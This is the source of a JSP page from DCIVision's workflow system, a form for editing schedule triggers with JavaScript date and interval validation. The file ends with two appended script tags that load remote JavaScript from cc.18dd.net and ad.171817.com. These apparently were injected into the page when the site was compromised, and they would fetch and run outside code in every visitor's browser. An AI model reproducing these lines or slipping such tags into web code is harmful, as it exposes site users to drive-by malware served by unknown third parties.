<%
/*
 * @(#)EditWorkflowScheduleTrigger.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowScheduleTrigger.jsp

  This class is reflecting business logic uses.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    23/12/2004
    @version          $Revision: 1.26.4.8 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowScheduleTriggerForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowScheduleTriggerForm"/>

<script language="Javascript">
<!--

function CusOpSave(release) {
  var frm;
  var tmpDate;
	var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
	var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
	if (!validateSpecialChar(frm.elements['scheduleName'], invalidChars, "<bean:message key='workflow.label.schedule_name'/> " + errorMessage)){
	  return (false);
	}  
  if(frm.elements['endStyle'][2].checked==true&&frm.elements['endDate'].value!=""&&document.getElementById("tempEndDate").innerText!=""){
		 var temYear1=document.getElementById("tempEndDate").innerText.substring(6,10);
		 var temMonth1=document.getElementById("tempEndDate").innerText.substring(3,5);
		 var temDay1=document.getElementById("tempEndDate").innerText.substring(0,2);
		 var temYear2=frm.elements['endDate'].value.substring(0,4);
		 var temMonth2=frm.elements['endDate'].value.substring(5,7);
		 var temDay2=frm.elements['endDate'].value.substring(8,10);
		 if(temYear1==temYear2) {
		   if(temMonth1==temMonth2){
		     if(temDay1<temDay2) {
		   	 	alert("<bean:message key='workflow.label.schedule_endtime_must_earlier'/>");
			   	frm.elements['endStyle'][2].focus();
			   	return false;//kneey_add
			   }		   
		   }else if(temMonth1<temMonth2){   
		   	 alert("<bean:message key='workflow.label.schedule_endtime_must_earlier'/>");
         frm.elements['endStyle'][2].focus();
         return false;//kneey_add
		   }   
		 }else if(temYear1<temYear2){
		   	 alert("<bean:message key='workflow.label.schedule_endtime_must_earlier'/>");
           frm.elements['endStyle'][2].focus();
           return false;//kneey_add 
		 }
	}		

  
  if (frm.scheduleType[1].checked && frm.dailyStyle[2].checked && frm.intervalDay.value == ""){
    alert("<bean:message key='workflow.message.interval_day_is_required'/>");
    frm.intervalDay.focus();
    return false;
  } else if (frm.scheduleType[2].checked && frm.weeklyStyle.checked && frm.intervalWeek.value == ""){
    alert("<bean:message key='workflow.message.interval_week_is_required'/>");
    frm.intervalWeek.focus();
    return false;
  }

  if (frm.startDate.value == "") {
    alert("<bean:message key='workflow.message.start_date_is_required'/>");
    return false;
  } else {
    tmpDate = frm.startDate.value;
    while(tmpDate.indexOf("-") >0 ) {
      tmpDate = tmpDate.replace("-","/");
    }
    var curHour = frm.triggerHour.value;
    var curMin = frm.triggerMinute.value;
   // if(frm.scheduleType[0].checked){
      if ( (new Date()).getTime() > (new Date(tmpDate)).getTime() + curHour*60*60*1000 + curMin*60*1000  ) {
        alert("<bean:message key='workflow.message.start_date_cannot_be_less_than_current_date'/>");
        frm.triggerHour.focus();
        return;
      }
    //}else{
      //if ( compareDate(frm.today,frm.startDate, true) > 0 ) {
        //alert("<bean:message key='workflow.message.start_date_cannot_be_less_than_current_date'/>");
        //return;
      //}
   // }
  }

  if (frm.endStyle[1].checked && frm.maxTrigger.value == "" ) {
    alert("<bean:message key='workflow.message.end_after_max_trigger_is_required'/>");
    frm.maxTrigger.focus();
    return false;
  } else if (frm.endStyle[2].checked ){
    if (frm.endDate.value == "" ) {
      alert("<bean:message key='workflow.message.end_date_is_required'/>");
      return false;
    } else if (compareDate(frm.startDate, frm.endDate, true) > 0){
      alert("<bean:message key='workflow.message.end_date_cannot_be_less_than_start_date'/>");
      return false;
    }
  }
	//kneey_add_S	
	if(frm.elements['scheduleName'].value != "" && frm.elements['endStyle'][0].checked == true) {
		var flag = confirm("<bean:message key='workflow.message.end_date_not_be_selected'/>");
  	if(!flag){
  		return false;
  	}	
  }
	//kneey_add_E
  if(release){
    frm.elements['status'].value = "<%=WorkflowSchedule.SCHEDULE_TRIGGER_RELEASED_STATUS%>";
  } else {
    frm.elements['status'].value = "<%=WorkflowSchedule.SCHEDULE_TRIGGER_PENDING_STATUS%>";
  }

  if(!frm.dailyStyle[2].checked){
    frm.intervalDay.value = "";
  }

  if(!frm.monthlyStyle[0].checked){
    frm.dayOfMonth.value = "";
  }

  if(!frm.monthlyStyle[1].checked){
    frm.weekOfMonth.value = "";
    frm.dayOfWeek.value = "";
  }

  if(!frm.endStyle[1].checked){
    frm.maxTrigger.value = "";
  }

  if(!frm.endStyle[2].checked){
    frm.endDate.value = "";
  }

  return OpSave();
}
-->
</script>



<html:form action="workflow/MaintWorkflowScheduleTrigger" styleClass="form-style-2">
<html:javascript formName="maintWorkflowScheduleTriggerForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/


  String navMode = request.getParameter("navMode");
  List workflowRecordList = (List) request.getAttribute("workflowRecordList");

  String[][] WEEK_OF_MONTH_MAP = {{"workflow.label.first", "1"},
                                  {"workflow.label.second", "2"},
                                  {"workflow.label.third", "3"},
                                  {"workflow.label.fourth", "4"},
                                  {"workflow.label.last", WorkflowSchedule.EXPR_SPECIAL_LAST}
                                 };

  String[][] DAY_OF_WEEK_MAP  = {{"workflow.label.sun", "1"},
                                  {"workflow.label.mon", "2"},
                                  {"workflow.label.tue", "3"},
                                  {"workflow.label.wed", "4"},
                                  {"workflow.label.thu", "5"},
                                  {"workflow.label.fri", "6"},
                                  {"workflow.label.sat", "7"}
                                 };
 String[][] DAY_OF_MONTH_MAP = new String[32][2];
 for ( int i = 0; i < 31; i++) {
   DAY_OF_MONTH_MAP[i][0] = String.valueOf(i+1);
   DAY_OF_MONTH_MAP[i][1] = String.valueOf(i+1);
 }
 DAY_OF_MONTH_MAP[31][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.last");
 DAY_OF_MONTH_MAP[31][1] = WorkflowSchedule.EXPR_SPECIAL_LAST;

 String[][] TRIGGER_HOUR_MAP = new String[24][2];
 for ( int i = 0; i < 24; i++) {
   TRIGGER_HOUR_MAP[i][0] = TextUtility.formatNumberWithZeroPrefix(2, new Integer(i));
   TRIGGER_HOUR_MAP[i][1] = String.valueOf(i);
 }

 String[][] TRIGGER_MINUTE_MAP = new String[60][2];
 for ( int i = 0; i < 60; i++) {
   TRIGGER_MINUTE_MAP[i][0] = TextUtility.formatNumberWithZeroPrefix(2, new Integer(i));
   TRIGGER_MINUTE_MAP[i][1] = String.valueOf(i);
 }

 String[][] WORKFLOW_CODE_MAP = new String[workflowRecordList.size()][4];

 for (int i=0; i<workflowRecordList.size(); i++) {
   WorkflowRecord wfRecord = (WorkflowRecord)workflowRecordList.get(i);
   WORKFLOW_CODE_MAP[i][0] = wfRecord.getWorkflowCode();
   WORKFLOW_CODE_MAP[i][1] = wfRecord.getID().toString();
   if(wfRecord.getStartDate()!=null)
      {
		  //WORKFLOW_CODE_MAP[i][2] = wfRecord.getStartDate().toString().substring(8, 10)+'-'+  
      //wfRecord.getStartDate().toString().substring(5, 7)+'-'+wfRecord.getStartDate().toString().substring(0, 4);//simon_del
      WORKFLOW_CODE_MAP[i][2] = wfRecord.getStartDate().toString();//simon_add 
      }   
      else
      {
    	  WORKFLOW_CODE_MAP[i][2]="";
      }
    if(wfRecord.getEndDate()!=null)
      {
    	  //WORKFLOW_CODE_MAP[i][3] = wfRecord.getEndDate().toString().substring(8, 10)+'-'+  
      //wfRecord.getEndDate().toString().substring(5, 7)+'-'+wfRecord.getEndDate().toString().substring(0, 4);//simon_del
      WORKFLOW_CODE_MAP[i][3] = wfRecord.getEndDate().toString();//simon_add
	  }   
      else
      {
    	  WORKFLOW_CODE_MAP[i][3]="";
      }
 }
 String returnURL = "ListWorkflowScheduleTrigger.do?workflowGroupID="+maintWorkflowScheduleTriggerForm.getWorkflowGroupID()+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;

%>



<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='workflowGroupID'/>
<html:hidden property='status'/>
<input type="hidden" name="today" value="<%=Utility.getCurrentTimestamp()%>">

<layout:tabContainer id="tab1">
<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
   <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/> 
    </layout:tabBar>
  <div id="basicTab" class="tabContent">
  <table width="100%"><tr><td>
  <table width="100%">
    <layout:sectionHeader name="workflow.label.schedule_trigger_information" colspan="4"/>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.schedule_name'/>:&nbsp;</td>
      <td class="formFieldSmall">&nbsp;<html:text property='scheduleName'  size='40' maxlength='80'/></td>
    </tr>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.workflow_code'/>:&nbsp;</td>
      <td class="formFieldSmall">&nbsp;<html:select property='workflowRecordID' onchange="switchDate(this.value)">
          <html:options stringArray='<%=WORKFLOW_CODE_MAP%>' hasSelect='false' convertLabel='false'/>
        </html:select>
        <logic:notEqual name='maintWorkflowScheduleTriggerForm' property='navMode' value='<%=GlobalConstant.NAV_MODE_VIEW%>'>
        <a href="#" onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/PreviewWorkflowRecord.do?ID='+document.maintWorkflowScheduleTriggerForm.workflowRecordID.value,'DCIVisionProgressView',800, 600, 'scrollbars=yes')" ><html:img src='IconView.gif' /></a>
        </logic:notEqual>
      </td>
    </tr>
	<tr>
      <td class="formLabelSmall"><bean:message key='user.label.start_date'/>:&nbsp;</td>
      <td class="formFieldSmall">&nbsp;<span id = 'tempStartDate'><%=WORKFLOW_CODE_MAP[0][2]%></span></td>
    </tr>
	<tr>
      <td class="formLabelSmall"><bean:message key='user.label.end_date'/>:&nbsp;</td>
      <td class="formFieldSmall">&nbsp;<span id = 'tempEndDate'><%=WORKFLOW_CODE_MAP[0][3]%></span></td>
    </tr>
<%--
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.criteria_class'/>:&nbsp;</td>
      <td class="formFieldSmall">&nbsp;<html:text property='criteriaExpression'  size='40' /></td>
    </tr>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.criteria_config_file'/>:&nbsp;</td>
      <td class="formFieldSmall">&nbsp;<html:file property='criteriaConfig'  size='20' /></td>
    </tr>
--%>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.status'/>:&nbsp;</td>
      <td class="formFieldSmall">&nbsp;
        <logic:equal name='maintWorkflowScheduleTriggerForm' property='status' value='<%=WorkflowSchedule.SCHEDULE_TRIGGER_PENDING_STATUS%>'>
        <bean:message key='workflow.label.schedule_trigger_pending_status'/>
        </logic:equal>
        <logic:equal name='maintWorkflowScheduleTriggerForm' property='status' value='<%=WorkflowSchedule.SCHEDULE_TRIGGER_RELEASED_STATUS%>'>
        <bean:message key='workflow.label.schedule_trigger_released_status'/>
        </logic:equal>
        <logic:equal name='maintWorkflowScheduleTriggerForm' property='status' value='<%=WorkflowSchedule.SCHEDULE_TRIGGER_EXPIRE_STATUS%>'>
        <bean:message key='workflow.label.schedule_trigger_expire_status'/>
        </logic:equal>
        <logic:equal name='maintWorkflowScheduleTriggerForm' property='status' value='<%=WorkflowSchedule.SCHEDULE_TRIGGER_IN_PROGRESS_STATUS%>'>
        <bean:message key='workflow.label.schedule_trigger_in_progress_status'/>
        </logic:equal>
        <logic:equal name='maintWorkflowScheduleTriggerForm' property='status' value='<%=WorkflowSchedule.SCHEDULE_TRIGGER_CANCEL_STATUS%>'>
        <bean:message key='workflow.label.schedule_trigger_cancel_status'/>
        </logic:equal>
        <logic:equal name='maintWorkflowScheduleTriggerForm' property='status' value=''>
        <bean:message key='workflow.label.schedule_trigger_pending_status'/>
        </logic:equal>
      </td>
    </tr>
  </table>
  <table border="0" cellspacing="1" cellpadding="0" width="100%">
  <tr>  <td class="blackLine" colspan="4"><html:img src="LayoutSpacer.gif"  width="1" height="1"/></td></tr>
  </table>
</td></tr>

<tr>
  <td colspan="4" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
</tr>

<!-- Schedule Setting Begin -->
<tr>
  <td>
    <table border="0" cellspacing="1" cellpadding="0" width="100%">
      <layout:sectionHeader name="workflow.label.schedule_setting" colspan="4" mandatory='false'/>
    </table>
    <table border="0" cellspacing="1" cellpadding="3" width="100%">
      <tr>
        <td class="formLabelSmallMan"><bean:message key='workflow.label.start_time'/>:&nbsp;</td>
        <td class="formFieldSmall">&nbsp;
          <html:select property='triggerHour'>
            <html:options stringArray='<%=TRIGGER_HOUR_MAP%>' hasSelect='false' convertLabel='false' nowrap='true'/>
          </html:select>:<html:select property='triggerMinute'>
            <html:options stringArray='<%=TRIGGER_MINUTE_MAP%>' hasSelect='false' convertLabel='false'/>
          </html:select>
        </td>
      </tr>
      <tr>
        <td class="formLabelSmallMan"><bean:message key='workflow.label.schedule_type'/>:&nbsp;</td>
        <td class="formFieldSmall">&nbsp;
          <html:radio property='scheduleType' value='<%=String.valueOf(WorkflowSchedule.TRIGGER_TYPE_ONCE)%>' onclick="toggleTriggerType(this.value);" ><bean:message key='workflow.label.once'/> &nbsp;&nbsp; </html:radio>
          <html:radio property='scheduleType' value='<%=String.valueOf(WorkflowSchedule.TRIGGER_TYPE_DAILY)%>' onclick="toggleTriggerType(this.value);"><bean:message key='workflow.label.daily'/> &nbsp;&nbsp; </html:radio>
          <html:radio property='scheduleType' value='<%=String.valueOf(WorkflowSchedule.TRIGGER_TYPE_WEEKLY)%>' onclick="toggleTriggerType(this.value);"><bean:message key='workflow.label.weekly'/> &nbsp;&nbsp; </html:radio>
          <html:radio property='scheduleType' value='<%=String.valueOf(WorkflowSchedule.TRIGGER_TYPE_MONTHLY)%>' onclick="toggleTriggerType(this.value);"><bean:message key='workflow.label.monthly'/> &nbsp;&nbsp; </html:radio>
        </td>
      </tr>
      <!-- Schedule Style Begin -->
      <tr id="schedule_style">
        <td class="formLabelSmall"><bean:message key='workflow.label.schedule_style'/>:&nbsp;</td>
        <td class="formFieldSmall">
          <!-- Daily Style -->
          <div id="triggerType1">
            <table>
              <tr><td><html:radio property='dailyStyle' value='<%=String.valueOf(WorkflowSchedule.DAILY_STYLE_EVERYDAY)%>' onclick="document.maintWorkflowScheduleTriggerForm.intervalDay.disabled=false"><bean:message key='workflow.label.every_day'/></html:radio></td></tr>
              <tr><td><html:radio property='dailyStyle' value='<%=String.valueOf(WorkflowSchedule.DAILY_STYLE_WEEKDAYS)%>' onclick="document.maintWorkflowScheduleTriggerForm.intervalDay.disabled=false"><bean:message key='workflow.label.every_weekday'/></html:radio></td></tr>
              <tr><td><html:radio property='dailyStyle' value='<%=String.valueOf(WorkflowSchedule.DAILY_STYLE_INTERVAL)%>' onclick="document.maintWorkflowScheduleTriggerForm.intervalDay.disabled=false"><bean:message key='workflow.label.every'/></html:radio>
              <%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) || String.valueOf(WorkflowSchedule.DAILY_STYLE_INTERVAL).equals(maintWorkflowScheduleTriggerForm.getDailyStyle()) ){
                if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) ) {%>
                <%=maintWorkflowScheduleTriggerForm.getIntervalDay()%> &nbsp;<bean:message key='workflow.label.days'/>
                <%}else{%>
              		<html:integer property='intervalDay' size='2' disabled='false' maxlength='2'/>
              		<bean:message key='workflow.label.days'/>
                <%}%>
              
              <%}%>
              
              </td></tr>
            </table>
          </div>

          <!-- Weekly Style -->
          <div id="triggerType2">
            <table>
              <tr><td><html:radio property='weeklyStyle' value='<%=String.valueOf(WorkflowSchedule.WEEKLY_STYLE_INTERVAL)%>' ><bean:message key='workflow.label.every'/></html:radio>
              <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) ) {%>
                <%=maintWorkflowScheduleTriggerForm.getIntervalWeek()%>
              <%}else{%>
              <html:integer property='intervalWeek' size='2' maxlength='2'/>
              <%}%>
              <bean:message key='workflow.label.weeks'/>
                <html:select property="daysOfWeek">
                  <html:options stringArray='<%=DAY_OF_WEEK_MAP%>' hasSelect='false'/>
                </html:select>
              </td></tr>

            </table>
          </div>
          <!-- Monthly Style -->
          <div id="triggerType3">
            <table>
              <tr><td>
                <html:radio property='monthlyStyle' value='<%=String.valueOf(WorkflowSchedule.MONHTLY_STYLE_DAY_OF_MONTH)%>' ><bean:message key='workflow.label.day_of_month'/></html:radio>
                <html:select property="dayOfMonth">
                  <html:options stringArray='<%=DAY_OF_MONTH_MAP%>' hasSelect='false' convertLabel='false'/>
                </html:select>
              </td></tr>
              <tr><td>
                <html:radio property='monthlyStyle' value='<%=String.valueOf(WorkflowSchedule.MONHTLY_STYLE_WEEK_OF_MONTH)%>'><bean:message key='workflow.label.week_of_month'/></html:radio>
                <html:select property='weekOfMonth'>
                  <html:options stringArray='<%=WEEK_OF_MONTH_MAP%>' hasSelect='false' />
                </html:select>
                <html:select property='dayOfWeek'>
                  <html:options stringArray='<%=DAY_OF_WEEK_MAP%>' hasSelect='false'/>
                </html:select>
              </td></tr>
              <tr><td>
                <table border="0">
                <tr>
                  <td><html:checkbox property='monthsOfYear' value="1" ><bean:message key='workflow.label.jan'/> </html:checkbox></td>
                  <td><html:checkbox property='monthsOfYear' value="2" ><bean:message key='workflow.label.feb'/> </html:checkbox></td>
                  <td><html:checkbox property='monthsOfYear' value="3" ><bean:message key='workflow.label.mar'/> </html:checkbox></td>
                  <td><html:checkbox property='monthsOfYear' value="4" ><bean:message key='workflow.label.apr'/> </html:checkbox></td>
                </tr>
                <tr>
                  <td><html:checkbox property='monthsOfYear' value="5" ><bean:message key='workflow.label.may'/> </html:checkbox></td>
                  <td><html:checkbox property='monthsOfYear' value="6" ><bean:message key='workflow.label.jun'/> </html:checkbox></td>
                  <td><html:checkbox property='monthsOfYear' value="7" ><bean:message key='workflow.label.jul'/> </html:checkbox></td>
                  <td><html:checkbox property='monthsOfYear' value="8" ><bean:message key='workflow.label.aug'/> </html:checkbox></td>
                </tr>
                <tr>
                  <td><html:checkbox property='monthsOfYear' value="9" ><bean:message key='workflow.label.sep'/> </html:checkbox></td>
                  <td><html:checkbox property='monthsOfYear' value="10" ><bean:message key='workflow.label.oct'/> </html:checkbox></td>
                  <td><html:checkbox property='monthsOfYear' value="11" ><bean:message key='workflow.label.nov'/> </html:checkbox></td>
                  <td><html:checkbox property='monthsOfYear' value="12" ><bean:message key='workflow.label.dec'/> </html:checkbox></td>
                </tr>
                </table>
              </td></tr>
              
            </table>
          </div>
        </td>
      </tr>
      
      <!-- Schedule Style End   -->
      <tr id="noOnce">
        <td class="formLabelSmall"><bean:message key='workflow.label.recurrence_date_range'/>:&nbsp;</td>
        <td class="formFieldSmall">        	
        <table>
        <tr>
          <td><bean:message key='workflow.label.start_date'/>:</td>
          <td>&nbsp;&nbsp;<html:datepicker property='startDate' defaultToday='true' /></td>
        </tr>
        <tr>
          <td valign="top"><bean:message key='workflow.label.end_date'/>:</td>
          <td>
            <html:radio property='endStyle' value='<%=String.valueOf(WorkflowSchedule.END_STYLE_NONE)%>' ><bean:message key='workflow.label.no_end_date'/><br></html:radio>
            <html:radio property='endStyle'  value='<%=String.valueOf(WorkflowSchedule.END_STYLE_COUNT)%>' ><bean:message key='workflow.label.end_after'/></html:radio> <html:integer property='maxTrigger' size='2' maxlength='2'/>
            <%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) || !Utility.isEmpty(maintWorkflowScheduleTriggerForm.getMaxTrigger()) ){%>
            <bean:message key='workflow.label.trigger'/><br>
            <%}%>
            <html:radio property='endStyle' value='<%=String.valueOf(WorkflowSchedule.END_STYLE_DATE)%>' ><bean:message key='workflow.label.end_by'/></html:radio> <html:datepicker property='endDate'/><br>
          </td>
        </tr>
        </table>
        </td>
      </tr>

      </table>
      <table border="0" cellspacing="1" cellpadding="0" width="100%">
      <tr>  <td class="blackLine" colspan="4"><html:img src="LayoutSpacer.gif"  width="1" height="1"/></td></tr>
      </table>
  </td>
</tr>
<!-- Schedule Setting End   -->
<tr>
  <td colspan="4"><layout:auditTrail/></td>
</tr>
<tr>
  <td colspan="4" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
</tr>
</table>
</div>
</layout:tabContainer>

 <div id="bottomButtonArea">
  <div id="buttonSection">
  <!-- The Buttons for Actions Handling -->
  <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && !GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) ) {%>

    <html:standardButton label="common.label.save" onClick="return CusOpSave(false)"/>
    <html:standardButton label="common.label.release" onClick="return CusOpSave(true);"/>
    <html:standardButton label="common.label.more" onClick="return MoreOpSaveAndNew()"/>
<script>
function MoreOpSaveAndNew(){
  var frm;
  if (!frm) {
      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
      }
    }
  frm.elements['status'].value = "<%=WorkflowSchedule.SCHEDULE_TRIGGER_PENDING_STATUS%>";
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  if (!validateSpecialChar(frm.elements['scheduleName'], invalidChars, "<bean:message key='workflow.label.schedule_name'/> " + errorMessage)){
    return (false);
  } 
  return(OpSaveAndNew());
}
</script>
  <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintWorkflowScheduleTriggerForm.getOpMode()) &&
               GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) &&
               WorkflowSchedule.SCHEDULE_TRIGGER_PENDING_STATUS.equals(maintWorkflowScheduleTriggerForm.getStatus()) ) {%>
      <html:permissionButton label="common.label.edit" right="E" link="MaintWorkflowScheduleTrigger.do?navMode=E&ID=${maintWorkflowScheduleTriggerForm.ID}&workflowGroupID=${maintWorkflowScheduleTriggerForm.workflowGroupID}"/>
  <%}%>
  <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
    <html:permissionButton label="common.label.save" right="E" onClick="return CusOpSave(false)"/>
    <html:standardButton label="common.label.release" onClick="return CusOpSave(true)"/>
    <html:permissionButton label="common.label.delete" right="D" onClick="return(OpDelete())"/>
  </logic:equal>
</div>
</div>

<script>
<!--
function toggleTriggerType ( iType ) {
   //remark by sars
/*
	if(iType==0){
		setShowHide('noOnce', 'none');
		setShowHide('schedule_style','none');
	} else {
		setShowHide('noOnce', 'block');
		setShowHide('schedule_style','block');
	}
*/
  for ( i = 0 ; i < 4 ; i++ ) {
    if ( i == iType ) {
      setShowHide ( 'triggerType'+i, 'block' );
      //ShowDiv('triggerType'+i);
    } else {
      //HideDiv('triggerType'+i);
      setShowHide ( 'triggerType'+i, 'none' );
    }    
  }
  <% if ( ! GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) ) 
   {
  %>
    if ( document.maintWorkflowScheduleTriggerForm.intervalDay.value =="0") {
        document.maintWorkflowScheduleTriggerForm.intervalDay.value="";
       }
    if ( document.maintWorkflowScheduleTriggerForm.intervalWeek.value =="0") {   
        document.maintWorkflowScheduleTriggerForm.intervalWeek.value="";
    }
    if ( document.maintWorkflowScheduleTriggerForm.maxTrigger.value =="0") {
        document.maintWorkflowScheduleTriggerForm.maxTrigger.value="";
    }
  <%
   }
  %>
}

function setShowHide ( myDiv, display ) {
  var theDiv = FindObj ( myDiv ) ;
  if ( theDiv ) {
    if ( display == 'none' ) {
      theDiv.style.display = 'none';
    } else {
      theDiv.style.display = 'block';
    }
  }
  void(0);
}

function FindObj(n, d) {
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=FindObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

//init data
 function initData(){

   <%if(!Utility.isEmpty(maintWorkflowScheduleTriggerForm.getScheduleType()) ){%>
     toggleTriggerType (<%=maintWorkflowScheduleTriggerForm.getScheduleType()%>);
     if(document.maintWorkflowScheduleTriggerForm.scheduleType.length){
       document.maintWorkflowScheduleTriggerForm.scheduleType[<%=maintWorkflowScheduleTriggerForm.getScheduleType()%>].checked = true;
     }
   <%}else{%>
     toggleTriggerType (0);
     document.maintWorkflowScheduleTriggerForm.scheduleType[0].checked = true;
   <%}%>

   if( document.maintWorkflowScheduleTriggerForm.dailyStyle && document.maintWorkflowScheduleTriggerForm.dailyStyle.length){
     <%if (Utility.isEmpty(maintWorkflowScheduleTriggerForm.getDailyStyle()) ) { %>
     document.maintWorkflowScheduleTriggerForm.dailyStyle[0].checked = true;
     <%}%>
   }

   if( document.maintWorkflowScheduleTriggerForm.weeklyStyle ){
     document.maintWorkflowScheduleTriggerForm.weeklyStyle.checked=true;
   }
   if( document.maintWorkflowScheduleTriggerForm.monthlyStyle && document.maintWorkflowScheduleTriggerForm.monthlyStyle.length) {
     <%if (Utility.isEmpty(maintWorkflowScheduleTriggerForm.getMonthlyStyle()) ) { %>
     document.maintWorkflowScheduleTriggerForm.monthlyStyle[0].checked = true;
     <%}%>
   }

   if(document.maintWorkflowScheduleTriggerForm.endStyle && document.maintWorkflowScheduleTriggerForm.endStyle.length){
     <%if (Utility.isEmpty(maintWorkflowScheduleTriggerForm.getEndStyle()) ) { %>
     document.maintWorkflowScheduleTriggerForm.endStyle[0].checked = true;
     <%}%>
   }

 }

 initData();

function switchDate(obj)
{

  var frm;
  var tmpDate;
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }

 var dateArray =new Array();
<%
  for(int i=0; i<workflowRecordList.size();i++){  
%>
  
  dateArray[<%=i%>] = new Array("<%=WORKFLOW_CODE_MAP[i][0]%>","<%=WORKFLOW_CODE_MAP[i][1]%>","<%=WORKFLOW_CODE_MAP[i][2]%>","<%=WORKFLOW_CODE_MAP[i][3]%>");
<%}%>

  for(var j=0;j<dateArray.length;j++){
   if(dateArray[j][1]==obj){
    document.getElementById("tempStartDate").innerText=dateArray[j][2];
	document.getElementById("tempEndDate").innerText=dateArray[j][3];

   }
  }

}
//-->
</script>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>